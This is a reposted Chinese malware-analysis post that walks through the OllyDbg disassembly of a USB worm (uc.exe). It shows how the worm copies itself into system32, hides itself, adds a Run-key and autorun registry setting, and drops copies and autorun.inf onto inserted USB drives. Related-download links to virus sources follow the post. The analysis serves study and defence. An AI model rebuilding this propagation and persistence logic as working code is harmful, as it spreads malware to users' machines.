`
lh8489
  • 浏览: 52655 次
  • 性别: Icon_minigender_1
  • 来自: 广州
文章分类
社区版块
存档分类
最新评论

一个U盘病毒汇编源码分析

阅读更多

转自:http://bbs.pediy.com/showthread.php?t=74520

 

 

标 题: 【原创】一个U盘病毒汇编源码分析
作 者: newjueqi
时 间: 2008-10-12,20:28
链 接: http://bbs.pediy.com/showthread.php?t=74520

【文章作者】:  newjueqi  
【作者邮箱】: zengjiansheng1@126.com
【作者QQ号】: 190678908
【编写语言】:VC++6.0
【使用工具】: OD
【操作平台】: XP-SP2
【作者声明】: 刚好U盘中了这个病毒,就拿来研究一下,没有其他目的。失误之处敬请大家赐教!
【题外话】: 分析完这个病毒后的感慨就是这个病毒一点都不像病毒,反而像一个U盘编程的示范代码(虽然金山毒霸每次遇到它都兴奋得叫起来 ^-^),感觉对U盘编程有了一个基础的了解。

另外针对这个病毒本人作了一次PEDIY(在源文件上插入汇编代码, 通过提前截获WM_CREATE消息,使病毒运行时弹出一个对话框告诉用户中毒了)
链接 http://bbs.pediy.com/showthread.php?t=74527

0040288F         |> \6A 0A           push    0A
00402891         |.  58              pop     eax
00402892         |>  50              push    eax
00402893         |.  FF75 9C         push    dword ptr [ebp-64]
00402896         |.  56              push    esi
00402897         |.  56              push    esi                                  ; /pModule
00402898         |.  FF15 7C704000   call    dword ptr [<&KERNEL32.GetModuleHandl>; \GetModuleHandleA
0040289E         |.  50              push    eax
0040289F         |.  E8 5CE7FFFF     call    00401000 ;关键,转到RegisterClassA

0040100F         |.  50              push    eax                                  ; /pWndClass
00401010         |.  897C24 28       mov     dword ptr [esp+28], edi              ; |
00401014         |.  C74424 2C 00114>mov     dword ptr [esp+2C], 00401100    ;窗口过程的地址|
0040101C         |.  897C24 30       mov     dword ptr [esp+30], edi              ; |
00401020         |.  897C24 34       mov     dword ptr [esp+34], edi              ; |
00401024         |.  897424 38       mov     dword ptr [esp+38], esi              ; |
00401028         |.  897C24 3C       mov     dword ptr [esp+3C], edi              ; 
0040102C         |.  897C24 40       mov     dword ptr [esp+40], edi              ; |
00401030         |.  897C24 44       mov     dword ptr [esp+44], edi              ; |
00401034         |.  897C24 48       mov     dword ptr [esp+48], edi              ; |
00401038         |.  C74424 4C 4C804>mov     dword ptr [esp+4C], 0040804C         ; |ASCII "UUUUUU"
00401040         |.  FF15 18714000   call    dword ptr [<&USER32.RegisterClassA>] ; \RegisterClassA


00401137          > \68 748B4000            push    00408B74                   ;  ASCII "C:\WINDOWS\system32"; Case 1 (WM_CREATE) of switch 00401104  ;第一条分支
0040113C          .  C605 6D8A4000 3A       mov     byte ptr [408A6D], 3A
; 3A,也就是ASCII 码 “:”
00401143          .  E8 E8000000            call    00401230 ; 调用GetSystemDirectoryA获取系统的目录,内容如下

00401230         /$  8B4424 04              mov     eax, dword ptr [esp+4]     ;  auto.00408B74
00401234         |.  68 04010000            push    104      ; /BufSize = 104 (260.)
00401239         |.  50                     push    eax      ; |Buffer
0040123A         |.  FF15 64704000          call    dword ptr [<&KERNEL32.GetS>; \GetSystemDirectoryA
00401240         \.  C3                     retn


00401148          .  8B4C24 08              mov     ecx, dword ptr [esp+8]
0040114C          .  83C4 04                add     esp, 4
0040114F          .  6A 00                  push    0        ; /Timerproc = NULL
00401151          .  68 88130000            push    1388     ; |Timeout = 5000. ms
00401156          .  6A 01                  push    1        ; |TimerID = 1
00401158          .  51                     push    ecx       ; |hWnd
00401159          .  FF15 10714000          call    dword ptr [<&USER32.SetTim>; \SetTimer  ;申请了一个时间周期为5秒的计时器
0040115F          .  68 708A4000            push    00408A70
00401164          .  E8 A7000000            call    00401210 ;调用GetModuleFileNameA获取病毒文件自身的路径,内容如下

00401210         /$  8B4424 04   mov     eax, dword ptr [esp+4]  ;  auto.00408A70
00401214         |.  68 04010000 push    104                ; /BufSize = 104 (260.)
00401219         |.  50          push    eax                 ; |PathBuffer
0040121A         |.  6A 00       push    0                   ; |hModule = NULL
0040121C         |.  FF15 6C7040>call    dword ptr [<&KERNEL32.GetModule>; \GetModuleFileNameA ;把病毒的文件路径保存在eax里
00401222         |.  F7D8        neg     eax         
00401224         |.  1BC0        sbb     eax, eax
00401226         |.  F7D8        neg     eax
00401228         \.  C3          retn

从以上分析可知道病毒初始化时做了3件事情:
1.  获取系统目录的路径
2.  申请了一个时间周期为5秒的计时器
3.  获取了病毒自身的路径

下面继续分析:

00401171        > \8A15 708A40>mov     dl, byte ptr [408A70]       ;  Case 113 (WM_TIMER) of switch 00401104  ;dl中存储的是病毒的路径
00401104  00401177        .  748B4000 mov     al, byte ptr [408B74]
; al中存储的是系统目录的路径
0040117C        .  3AD0        cmp     dl, al ;比较当前文件的路径是否和系统的路径的相同,也就是检查当前文件是否在系统目录
0040117E        .  75 19       jnz     short 00401199 ;发现路径不相同就跳00401199
;路径相同就检查有没有设备变化的信息
00401180        .  8B4424 04   mov     eax, dword ptr [esp+4]
00401184        .  6A 00       push    0                        ; /lParam = 0
00401186        .  6A 00       push    0                        ; |wParam = 0
00401188        .  68 19020000 push    219                      ; |Message = WM_DEVICECHANGE
0040118D        .  50          push    eax                      ; |hWnd
0040118E        .  FF15 147140>call    dword ptr [<&USER32.Send>; \SendMessageA
;发送检查设备的信息
00401194        .  33C0        xor     eax, eax ;清空eax
00401196        .  C2 1000     retn    10

;发现病毒文件不是从系统目录启动就执行下面的操作
00401199        >  8B4C24 04   mov     ecx, dword ptr [esp+4]
0040119D        .  51          push    ecx
0040119E        .  E8 AD000000 call    00401250


00401250       /$  81EC 040100>sub     esp, 104
00401256       |.  8D4424 00   lea     eax, dword ptr [esp]
0040125A       |.  56          push    esi
0040125B       |.  68 748B4000 push    00408B74                    ; /String2 = "C:\WINDOWS\system32"
00401260       |.  50          push    eax                         ; |String1
00401261       |.  FF15 147040>call    dword ptr [<&KERNEL32.lstrc>; \lstrcpyA
;复制系统路径
00401267       |.  8B35 107040>mov     esi, dword ptr [<&KERNEL32.>;  kernel32.lstrcatA
0040126D       |.  8D4C24 04   lea     ecx, dword ptr [esp+4] ;把系统路径传到ecx
00401271       |.  68 98804000 push    00408098                    ; /StringToAdd = "\"
00401276       |.  51          push    ecx                         ; |ConcatString,"C:\WINDOWS\system32"
00401277       |.  FFD6        call    esi                         ; \lstrcatA
; 调用字符串连接函数使系统路径变为"C:\WINDOWS\system32\"
00401279       |.  8B15 448040>mov     edx, dword ptr [408044]     ;  auto.00408060
0040127F       |.  8D4424 04   lea     eax, dword ptr [esp+4]
00401283       |.  52          push    edx                         ; /StringToAdd => "uc.exe"
00401284       |.  50          push    eax                         ; |ConcatString,"C:\WINDOWS\system32\"
00401285       |.  FFD6        call    esi                         ; \lstrcatA
;路径变为"C:\WINDOWS\system32\ uc.exe "
00401287       |.  8D4C24 04   lea     ecx, dword ptr [esp+4] 
; ecx中存放路径"C:\WINDOWS\system32\ uc.exe "
0040128B       |.  51          push    ecx
0040128C       |.  E8 6F000000 call    00401300

;检查系统目录中是否已存在要复制的文件
00401300       /$  8B4424 04   mov     eax, dword ptr [esp+4]
00401304       |.  50          push    eax                    ; /Path
00401305       |.  FF15 007140>call    dword ptr [<&SHLWAPI.P>; \PathFileExistsA
0040130B       |.  48          dec     eax
0040130C       |.  F7D8        neg     eax
0040130E       |.  1BC0        sbb     eax, eax
00401310       |.  40          inc     eax
00401311       \.  C3          retn

00401291       |.  83C4 04     add     esp, 4
00401294       |.  85C0        test    eax, eax ;检查文件是否存在
00401296       |.  5E          pop     esi
00401297       |.  75 2F       jnz     short 004012C8 ;如果文件已经存在就跳
00401299       |.  8D5424 00   lea     edx, dword ptr [esp]
0040129D       |.  50          push    eax                         ; /FailIfExists
0040129E       |.  52          push    edx                         ; |NewFileName
0040129F       |.  68 708A4000 push    00408A70                    
004012A4       |.  FF15 347040>call    dword ptr [<&KERNEL32.CopyF>; \CopyFileA
;把文件复制到系统目录
004012AA       |.  8D4424 00   lea     eax, dword ptr [esp] 
004012AE       |.  50          push    eax
004012AF       |.  E8 7C000000 call    00401330

;修改注册表,使病毒文件开机自启动和U盘自动播放
00401330       /$  83EC 08     sub     esp, 8
00401333       |.  56          push    esi
00401334       |.  8B35 087040>mov     esi, dword ptr >;  ADVAPI32.RegOpenKeyA
0040133A       |.  8D4424 04   lea     eax, dword ptr >
0040133E       |.  57          push    edi
0040133F       |.  50          push    eax             ; /pHandle
00401340       |.  68 E0804000 push    004080E0        ; |Subkey = "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
00401345       |.  68 01000080 push    80000001        ; |hKey = HKEY_CURRENT_USER
0040134A       |.  C74424 18 0>mov     dword ptr [esp+>; |
00401352       |.  FFD6        call    esi             ; \RegOpenKeyA
00401354       |.  8B5424 08   mov     edx, dword ptr >
00401358       |.  8B3D 007040>mov     edi, dword ptr >;  ADVAPI32.RegSetValueExA
0040135E       |.  8D4C24 0C   lea     ecx, dword ptr >
00401362       |.  6A 04       push    4               ; /BufSize = 4
00401364       |.  51          push    ecx             ; |Buffer
00401365       |.  6A 04       push    4               ; |ValueType = REG_DWORD
00401367       |.  6A 00       push    0               ; |Reserved = 0
00401369       |.  68 CC804000 push    004080CC        ; |ValueName = "NoDriveTypeAutoRun"
0040136E       |.  52          push    edx             ; |hKey
0040136F       |.  FFD7        call    edi             ; \RegSetValueExA
00401371       |.  8D4424 08   lea     eax, dword ptr >
00401375       |.  50          push    eax             ; /pHandle
00401376       |.  68 9C804000 push    0040809C        ; |Subkey = "SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run"
0040137B       |.  68 02000080 push    80000002        ; |hKey = HKEY_LOCAL_MACHINE
00401380       |.  FFD6        call    esi             ; \RegOpenKeyA
00401382       |.  85C0        test    eax, eax
00401384       |.  75 35       jnz     short 004013BB
00401386       |.  8B7424 14   mov     esi, dword ptr >
0040138A       |.  56          push    esi             ; /String
0040138B       |.  FF15 1C7040>call    dword ptr [<&KE>; \lstrlenA
00401391       |.  8B0D 448040>mov     ecx, dword ptr >;  auto.00408060
00401397       |.  8B5424 08   mov     edx, dword ptr >
0040139B       |.  50          push    eax             ; /BufSize
0040139C       |.  56          push    esi             ; |Buffer
0040139D       |.  6A 01       push    1               ; |ValueType = REG_SZ
0040139F       |.  6A 00       push    0               ; |Reserved = 0
004013A1       |.  51          push    ecx             ; |ValueName => "uc.exe"
004013A2       |.  52          push    edx             ; |hKey
004013A3       |.  FFD7        call    edi             ; \RegSetValueExA
004013A5       |.  8B4424 08   mov     eax, dword ptr >
004013A9       |.  50          push    eax             ; /hKey
004013AA       |.  FF15 047040>call    dword ptr [<&AD>; \RegCloseKey
004013B0       |.  5F          pop     edi
004013B1       |.  B8 01000000 mov     eax, 1
004013B6       |.  5E          pop     esi
004013B7       |.  83C4 08     add     esp, 8
004013BA       |.  C3          retn
004013BB       |>  5F          pop     edi
004013BC       |.  33C0        xor     eax, eax
004013BE       |.  5E          pop     esi
004013BF       |.  83C4 08     add     esp, 8
004013C2       \.  C3          retn


004012B4       |.  8D4C24 04   lea     ecx, dword ptr [esp+4]
004012B8       |.  51          push    ecx
004012B9       |.  E8 62000000 call    00401320

;设置病毒文件的属性为系统,隐藏
00401320       /$  8B4424 04   mov     eax, dword ptr >
00401324       |.  6A 06       push    6               ; /FileAttributes = HIDDEN|SYSTEM
00401326       |.  50          push    eax             ; |FileName
00401327       |.  FF15 187040>call    dword ptr [<&KE>; \SetFileAttributesA
0040132D       \.  C3          retn

;如果病毒文件已经在系统目录下,执行下面的操作,这里从00401297跳过来
004012C8       |>  E8 D3030000 call    004016A0

;通过枚举进程列表查看自身是否已经运行
004016A0       /$  81EC 280100>sub     esp, 128
004016A6       |.  56          push    esi
004016A7       |.  57          push    edi
004016A8       |.  6A 00       push    0               ; /ProcessID = 0
004016AA       |.  6A 02       push    2               ; |Flags = TH32CS_SNAPPROCESS 
004016AC       |.  E8 BB000000 call    <jmp.&KERNEL32.>; \CreateToolhelp32Snapshot
004016B1       |.  8BF0        mov     esi, eax
004016B3       |.  8D4424 08   lea     eax, dword ptr >
004016B7       |.  50          push    eax             ; /lppe
004016B8       |.  56          push    esi             ; |hSnapshot
004016B9       |.  C74424 10 2>mov     dword ptr [esp+>; |
004016C1       |.  E8 A0000000 call    <jmp.&KERNEL32.>; \Process32First
004016C6       |.  85C0        test    eax, eax
004016C8       |.  74 4E       je      short 00401718
004016CA       |.  8B0D 448040>mov     ecx, dword ptr >;  auto.00408060
004016D0       |.  8B3D 287040>mov     edi, dword ptr >;  kernel32.lstrcmpA
004016D6       |.  8D5424 2C   lea     edx, dword ptr >
004016DA       |.  51          push    ecx             ; /String2 => "uc.exe"
004016DB       |.  52          push    edx             ; |String1
004016DC       |.  FFD7        call    edi             ; \lstrcmpA
004016DE       |.  85C0        test    eax, eax
004016E0       |.  74 21       je      short 00401703
004016E2       |>  8D4424 08   /lea     eax, dword ptr>
004016E6       |.  50          |push    eax            ; /lppe
004016E7       |.  56          |push    esi            ; |hSnapshot
004016E8       |.  E8 73000000 |call    <jmp.&KERNEL32>; \Process32Next
004016ED       |.  85C0        |test    eax, eax
004016EF       |.  74 27       |je      short 00401718
004016F1       |.  8B0D 448040>|mov     ecx, dword ptr>;  auto.00408060
004016F7       |.  8D5424 2C   |lea     edx, dword ptr>
004016FB       |.  51          |push    ecx
004016FC       |.  52          |push    edx
004016FD       |.  FFD7        |call    edi
004016FF       |.  85C0        |test    eax, eax
00401701       |.^ 75 DF       \jnz     short 004016E2
00401703       |>  56          push    esi             ; /hObject
00401704       |.  FF15 207040>call    dword ptr [<&KE>; \CloseHandle
0040170A       |.  5F          pop     edi
0040170B       |.  B8 01000000 mov     eax, 1 ;返回值为1
00401710       |.  5E          pop     esi
00401711       |.  81C4 280100>add     esp, 128
00401717       |.  C3          retn
00401718       |>  56          push    esi             ; /hObject
00401719       |.  FF15 207040>call    dword ptr [<&KE>; \CloseHandle
0040171F       |.  5F          pop     edi
00401720       |.  33C0        xor     eax, eax ;返回值为0
00401722       |.  5E          pop     esi
00401723       |.  81C4 280100>add     esp, 128
00401729       \.  C3          retn

;判断自身有没有运行
004012CD       |.  85C0        test    eax, eax ;通过在eax的返回值判断
004012CF       |.  75 20       jnz     short 004012F1
004012D1       |.  8D5424 00   lea     edx, dword ptr [esp]
004012D5       |.  50          push    eax                         ; /ShowState
004012D6       |.  52          push    edx                         ; |CmdLine
004012D7       |.  FF15 607040>call    dword ptr [<&KERNEL32.WinEx>; \WinExec
;以隐藏的方式执行
004012DD       |.  8B8424 0801>mov     eax, dword ptr [esp+108]
004012E4       |.  6A 00       push    0                           ; /lParam = 0
004012E6       |.  6A 00       push    0                           ; |wParam = 0
004012E8       |.  6A 10       push    10                          ; |Message = WM_CLOSE
004012EA       |.  50          push    eax                         ; |hWnd
004012EB       |.  FF15 147140>call    dword ptr [<&USER32.SendMes>; \SendMessageA
004012F1       |>  33C0        xor     eax, eax
004012F3       |.  81C4 040100>add     esp, 104
004012F9       \.  C3          retn

;有输入设备信息
004011CB   > \8B4424 10     mov     eax, dword ptr [esp+10]          ;  Case 219 (WM_DEVICECHANGE) of switch 00401104;
;查了一下MSDN,响应WM_DEVICECHANGE这个消息的函数声明如下
;LRESULT CALLBACK WindowProc(
;  HWND hwnd,       // handle to window
;  UINT uMsg,       // WM_DEVICECHANGE
; WPARAM wParam,   // device-change event
;  LPARAM lParam    // event-specific data
;);
004011CF   .  8B4C24 0C     mov     ecx, dword ptr [esp+C] 
004011D3   .  8B5424 04     mov     edx, dword ptr [esp+4] 
004011D7   .  50            push    eax  ;lParam
004011D8   .  51            push    ecx  ; wParam
004011D9   .  52            push    edx  ;hwnd
;因为uMsg是默认为WM_DEVICECHANGE,所以只有三个参数
004011DA   .  E8 F1FEFFFF   call    004010D0


WM_DEVICECHANGE的说明如下:
当Windows系统的硬件设置发生变化时,系统将会向所有应用程序发送一条WM_DEVICECHANGE消息.当有设备被禁止或激活时(比如我们插入光盘,从光驱中取出光盘,或者在系统设备中删除或禁止打印端口),该消息的wParam参数分别被指定为DBT_DEVICEARRIVAL(设备安装完毕)和DBT_DEVICEREMOVECOMPLETE(设备移除完毕),根据这两个参数可以判断闪存是否存在,lParam参数指向一DEV_BROADCAST_HDR结构,该结构中的dbch_devicetype成员是变化设备的类型,当该值为DBT_DEVTYP_VOLUME时,表明一个带有卷标名的驱动器发生了变化
(出处:http://sogoodm.com/soft/t5/16303-63858.html )

004010D0  /$  817C24 08 008>  cmp     dword ptr [esp+8], 8000 ;比较是否插入了新的设备,8000是宏DBT_DEVICEARRIVAL的值,表示系统插入了一个新设备,相关的定义在Include\DBT.h头文件里(我的是VC6),顺便说一句,查这个8000表示什么就查了半天,非常郁闷!!!
004010D8  |.  75 20         jnz     short 004010FA ;如果不是插入新设备就跳
004010DA  |.  8B4424 0C     mov     eax, dword ptr [esp+C]
004010DE  |.  8378 04 02    cmp     dword ptr [eax+4], 2 ;
004010E2  |.  75 16         jnz     short 004010FA
004010E4  |.  8B40 0C       mov     eax, dword ptr [eax+C]
004010E7  |.  50            push    eax
004010E8  |.  E8 03010000   call    004011F0 ;获取U盘的盘符
;枚举26个驱动器,通过查看哪个发生了变化来获取U盘的盘符
004011F0  /$  8B4C24 04     mov     ecx, dword ptr [esp+4]
004011F4  |.  32C0          xor     al, al ;从0开始比较
004011F6  |>  F6C1 01       /test    cl, 1
004011F9  |.  75 08         |jnz     short 00401203
004011FB  |.  D1E9          |shr     ecx, 1
004011FD  |.  FEC0          |inc     al
004011FF  |.  3C 1A         |cmp     al, 1A ;比较是否已达到了26
00401201  |.^ 7C F3         \jl      short 004011F6
00401203  |>  83C0 41       add     eax, 41 ;用盘符的索引加上‘A’得到盘符的字母注意41是16进制,转化为10进制就是ASC码‘A’
00401206  \.  C3            retn


004010ED  |.  83C4 04       add     esp, 4
004010F0  |.  A2 5C8A4000   mov     byte ptr [408A5C], al
004010F5  |.  E8 D6020000   call    004013D0 ;

;把自身复制到U盘并且在U盘下创建一个autorun.inf文件
004013D0  /$  81EC 08020000 sub     esp, 208
004013D6  |.  8D8424 040100>lea     eax, dword ptr [esp+104]
004013DD  |.  56            push    esi
004013DE  |.  57            push    edi
004013DF  |.  8B3D 14704000 mov     edi, dword ptr [<&KERNEL32.lstrc>;  kernel32.lstrcpyA
004013E5  |.  68 5C8A4000   push    00408A5C                         ; /String2 = "B"
004013EA  |.  50            push    eax                              ; |String1
004013EB  |.  FFD7          call    edi                              ; \lstrcpyA
004013ED  |.  8B35 10704000 mov     esi, dword ptr [<&KERNEL32.lstrc>;  kernel32.lstrcatA
004013F3  |.  8D8C24 0C0100>lea     ecx, dword ptr [esp+10C]
004013FA  |.  68 90804000   push    00408090                         ; /StringToAdd = "\"
004013FF  |.  51            push    ecx                              ; |ConcatString
00401400  |.  FFD6          call    esi                              ; \lstrcatA
00401402  |.  8B15 40804000 mov     edx, dword ptr [408040]          ;  auto.00408068
00401408  |.  8D8424 0C0100>lea     eax, dword ptr [esp+10C]
0040140F  |.  52            push    edx                              ; /StringToAdd => "uc1.exe"
00401410  |.  50            push    eax                              ; |ConcatString
00401411  |.  FFD6          call    esi                              ; \lstrcatA
00401413  |.  8D4C24 08     lea     ecx, dword ptr [esp+8]
00401417  |.  68 5C8A4000   push    00408A5C                         ; /String2 = "B"
0040141C  |.  51            push    ecx                              ; |String1
0040141D  |.  FFD7          call    edi                              ; \lstrcpyA
0040141F  |.  8D5424 08     lea     edx, dword ptr [esp+8]
00401423  |.  68 90804000   push    00408090                         ; /StringToAdd = "\"
00401428  |.  52            push    edx                              ; |ConcatString
00401429  |.  FFD6          call    esi                              ; \lstrcatA
0040142B  |.  A1 48804000   mov     eax, dword ptr [408048]
00401430  |.  8D4C24 08     lea     ecx, dword ptr [esp+8]
00401434  |.  50            push    eax                              ; /StringToAdd => "AutoRun.inf"
00401435  |.  51            push    ecx                              ; |ConcatString
00401436  |.  FFD6          call    esi                              ; \lstrcatA
00401438  |.  8D5424 08     lea     edx, dword ptr [esp+8]
0040143C  |.  52            push    edx
0040143D  |.  E8 BEFEFFFF   call    00401300     ;检测文件是否存在
00401442  |.  83C4 04       add     esp, 4
00401445  |.  85C0          test    eax, eax
00401447  |.  5F            pop     edi
00401448  |.  5E            pop     esi
00401449  |.  75 17         jnz     short 00401462
0040144B  |.  8D4424 00     lea     eax, dword ptr [esp]
0040144F  |.  50            push    eax
00401450  |.  E8 5B000000   call    004014B0 ;在U盘创建一个autorun.inf文件
00401455  |.  8D4C24 04     lea     ecx, dword ptr [esp+4]
00401459  |.  51            push    ecx
0040145A  |.  E8 C1FEFFFF   call    00401320 ;设置文件的属性
0040145F  |.  83C4 08       add     esp, 8
00401462  |>  8D9424 040100>lea     edx, dword ptr [esp+104]
00401469  |.  52            push    edx
0040146A  |.  E8 91FEFFFF   call    00401300 ;检查文件是否存在
0040146F  |.  83C4 04       add     esp, 4
00401472  |.  85C0          test    eax, eax
00401474  |.  75 2B         jnz     short 004014A1
00401476  |.  50            push    eax                              ; /FailIfExists
00401477  |.  8D8424 080100>lea     eax, dword ptr [esp+108]         ; |
0040147E  |.  50            push    eax                              ; |NewFileName
0040147F  |.  68 608A4000   push    00408A60                         ; |ExistingFileName = ""
00401484  |.  FF15 34704000 call    dword ptr [<&KERNEL32.CopyFileA>>; \CopyFileA
0040148A  |.  8D8C24 040100>lea     ecx, dword ptr [esp+104]
00401491  |.  51            push    ecx ;U盘文件的路径
00401492  |.  E8 89FEFFFF   call    00401320 ;设置文件的属性
00401497  |.  83C4 04       add     esp, 4
0040149A  |.  81C4 08020000 add     esp, 208
004014A0  |.  C3            retn
004014A1  |>  33C0          xor     eax, eax
004014A3  |.  81C4 08020000 add     esp, 208
004014A9  \.  C3            retn

最后,进程关闭时的代码如下:
0040111D   .  8B4424 04     mov     eax, dword ptr [esp+4]           ;  Case 2 (WM_DESTROY) of switch 00401104
00401121   .  6A 01         push    1                                ; /TimerID = 1
00401123   .  50            push    eax                              ; |hWnd
00401124   .  FF15 08714000 call    dword ptr [<&USER32.KillTimer>]  ; \KillTimer
0040112A   .  6A 00         push    0                                ; /ExitCode = 0
0040112C   .  FF15 0C714000 call    dword ptr [<&USER32.PostQuitMess>; \PostQuitMessage
00401132   .  33C0          xor     eax, eax
00401134   .  C2 1000       retn    10



1.  病毒描述: 
  该病毒是一种U盘病毒,病毒运行后释放病毒文件到系统目录下,命名为uc.exe并执行。在用户毫无察觉的情况下;修改注册表键值,病毒开机自动运行,开启自动播放;监测系统中有没有插入U盘,如果检测到插入U盘就向U盘中释放病毒文件并且创建一个autorun.inf文件

2.  病毒行为分析

(1)病毒运行后释放病毒文件:
C:\WINDOWS\system32\uc.exe
 
(2)修改注册表
在HKEY_CURRENT_USER\ Software\Microsoft\Windows \CurrentVersion\Policies\
  Explorer中创建NoDriveTypeAutoRun

在HKEY_LOCAL_MACHINE\ SOFTWARE\MICROSOFT\Windows\ CurrentVersion\
  Run中添加病毒文件的路径

(3)向U盘中释放病毒文件和创建autorun.inf文件

分享到:
评论

相关推荐

    (汇编 C++)病毒分析 (全)

    例如,“熊猫烧香病毒汇编源码.asm”就是一个汇编语言编写的病毒样本,通过分析这类源码,我们可以理解病毒的工作机制,包括如何感染系统、如何隐藏自身以及如何传播。 2. **C++与病毒编写**:C++是一种面向对象的...

    MEMZ5.0引导以及程序源码

    标题中的“MEMZ5.0引导以及程序源码”指的是一个名为MEMZ的软件的第五个主要版本的源代码,通常这种源代码是用于研究、学习或者修改软件的行为。MEMZ是一个知名的恶意软件示例,它涉及到计算机安全领域,尤其是恶意...

    使用Python编写出的文件加密和解密程序

    描述中提到的"源码被U盘autorun病毒删了,只剩可执行文件"是一个值得注意的安全问题。U盘 autorun 病毒是一种常见的恶意软件,它利用Windows系统中的自动播放功能,当U盘插入电脑时自动运行并可能感染系统。在这种...

    Upanbingduyuanli.rar_Windows编程_Visual_C++_

    这个压缩包中的"VC++编译U盘病毒和原理(代源码).exe"文件,可能是为了教学目的而编译的一个模拟U盘病毒的示例程序,开发者可以通过反汇编或调试工具对其分析,理解病毒的执行流程和感染机制。 其次,"说明_Readme...

    人工智能发展对芯片行业的颠覆性变革及其对中国AI芯片产业的影响

    内容概要:本文探讨了人工智能(AI)对芯片行业的深远影响,特别是AI芯片的定义、类型与发展现状。文中详细介绍了AI芯片(如GPU、FPGA、ASIC)的特点及其在不同应用场景中的表现。随着AI技术的进步,芯片设计流程发生了重大变革,包括自动化设计和创新设计,制程工艺也在AI需求的推动下迅速迭代。此外,AI芯片市场的格局正在重塑,新玩家不断涌现,国际竞争加剧。中国AI芯片行业发展迅速,但也面临技术瓶颈、市场竞争和人才短缺等挑战。未来,AI芯片将在技术创新、市场拓展和可持续发展中继续前行。 适合人群:对半导体行业、人工智能技术感兴趣的读者,尤其是从事芯片设计、制造及相关领域的专业人士。 使用场景及目标:帮助读者了解AI芯片行业的最新发展趋势和技术动向,为企业决策和个人职业规划提供参考。 其他说明:文章还强调了AI与芯片行业的深度融合可能带来的新商业模式,以及国产AI芯片企业需加强国际合作与交流,推动绿色可持续发展。

    基于JAVA的网络通讯系统设计与实现(论文+系统).zip

    Java项目课程设计,包含源码+数据库+论文

    (源码)基于Arduino的实时温度短信警报系统.zip

    # 基于Arduino的实时温度短信警报系统 ## 项目简介 这是一个使用Arduino,LM35温度传感器和GSM模块实现的实时温度短信警报系统。当温度超过设定的限制时,系统将自动向用户发送短信警报。这个项目涉及到硬件和电子组件的简单组装和编程技术。这是一个易于使用,便捷有效的警告系统,适用于家庭、办公室或其他需要实时监控温度的场合。 ## 项目的主要特性和功能 使用Arduino Uno作为主要的控制器,控制LM35温度传感器和GSM模块。 通过LM35温度传感器读取温度数据。 使用GSM模块发送短信警报。 具有灵活性,可设定温度阈值。当温度超过设定的阈值时,系统将自动发送短信提醒用户。 简单易用的电路设计,只需要基本的电子组装技能就能搭建完成。 ## 安装使用步骤 假设用户已经下载了本项目的源码文件 1. 连接硬件按照电路图连接Arduino Uno、LM35温度传感器、GSM模块及其他所需硬件。

    岩土体细观结构精细化数值模拟方法研究-基于随机转向角理论的Python实现(复现论文,含详细可运行代码及解释)

    内容概要:本文围绕岩土体细观结构精细化建模展开,涵盖了二维及三维不规则颗粒生成、颗粒重叠检测与投放算法、土石混合体边坡开挖模拟、模型库管理系统构建等方面的内容。文中提供了详细的Python代码示例,包括二维和三维颗粒生成算法、颗粒重叠检测算法、颗粒投放算法、土石混合体边坡开挖模拟、模型库管理系统、颗粒力学性质计算与更新、颗粒间接触力计算、土石混合体动力响应模拟、细观结构统计分析、大规模模拟优化及损伤演化模拟等。由于涉及多领域的复杂知识和大量代码,部分代码依赖特定软件环境和数据,因此未能提供完整的复现代码,但重点展示了核心关键部分的实现。 适合人群:具备一定编程基础,尤其是对岩土工程、材料科学等领域感兴趣的科研人员和技术开发者。 使用场景及目标:适用于岩土体细观结构的研究和模拟,帮助研究人员更好地理解和预测土石混合体的行为特性,特别是在边坡稳定性分析、地质灾害评估等方面的应用。 其他说明:本文不仅提供了代码实现,还详细解释了各个算法的原理和应用场景,旨在帮助读者深入理解岩土体细观结构的数值模拟方法。

    基于springboot框架的图书电子商务网站的设计与实现(完整Java源码+数据库sql文件+项目文档+Java项目编程实战+编程练手好项目).zip

    摘 要 I 目 录 III 第1章 绪论 1 1.1 研究背景 1 1.2 研究现状 1 1.3 目的和意义 1 1.4 论文研究内容 2 第2章 程序开发技术 3 2.1 Mysql数据库 3 2.2 Java语言 3 2.3 Spring Boot框架简介 4 第3章 系统分析 5 3.1可行性分析 5 3.1.1技术可行性分析 5 3.1.2经济可行性分析 5 3.1.3操作可行性分析 6 3.2系统运行环境 6 3.3系统流程分析 6 第4章 系统设计 10 4.1 系统设计的原则 10 4.2 功能结构设计 10 4.3 数据库设计 11 4.3.1 数据库E-R图 11 4.3.2 数据库表结构 13 第5章 系统实现 17 5.1管理员功能实现 17 5.1.1 用户管理 17 5.1.2 图书分类管理 17 5.1.3 图书信息管理 18 5.1.4 订单管理 19 5.2 用户功能实现 19 5.2.1 图书信息 19 5.2.2 购物车 20 5.2.3 确认下单 21 5.2.4 我的收藏 22 第6章 系统测试 24 6.1系统测试方法 24 6.2 系统测

    阳光酒店管理系统(javaapplet+SQL).zip

    Java项目课程设计,包含源码+数据库+论文

    srain-1.0.2-1.el8.x64-86.rpm.tar.gz

    1、文件说明: Centos8操作系统srain-1.0.2-1.el8.rpm以及相关依赖,全打包为一个tar.gz压缩包 2、安装指令: #Step1、解压 tar -zxvf srain-1.0.2-1.el8.tar.gz #Step2、进入解压后的目录,执行安装 sudo rpm -ivh *.rpm

    污水净化处理厂PLC自动化程序设计:西门子300 PLC编程与调试实战案例

    内容概要:本文详细介绍了污水净化处理厂PLC自动化程序设计的全过程,涵盖技术要求、合同签订、上位机画面设计、西门子300 PLC编程及梯形图编程指南、KTP1000触摸屏配置、电气设计图纸和PLC点表等内容。文中不仅提供了详细的编程实例和技术要点,还分享了许多现场调试的实际经验和解决方案。具体包括梯形图逻辑、上位机画面组态、报警记录功能、电气图纸细节、PID控制优化、设备联锁设计等方面的内容。 适合人群:自动化初学者、从事污水处理行业的技术人员、PLC编程爱好者。 使用场景及目标:①帮助新手掌握PLC编程的基本技能和调试技巧;②为污水处理厂的自动化改造提供实用的技术指导;③提高操作人员对自动化系统的理解和操作能力。 其他说明:本文通过丰富的实战案例和详细的代码解析,使读者能够深入理解PLC自动化控制系统的原理和应用,尤其适用于希望深入了解西门子300 PLC编程的人士。

    三菱FX3U-485ADP-MB通讯实现多品牌变频器控制的技术详解与实践

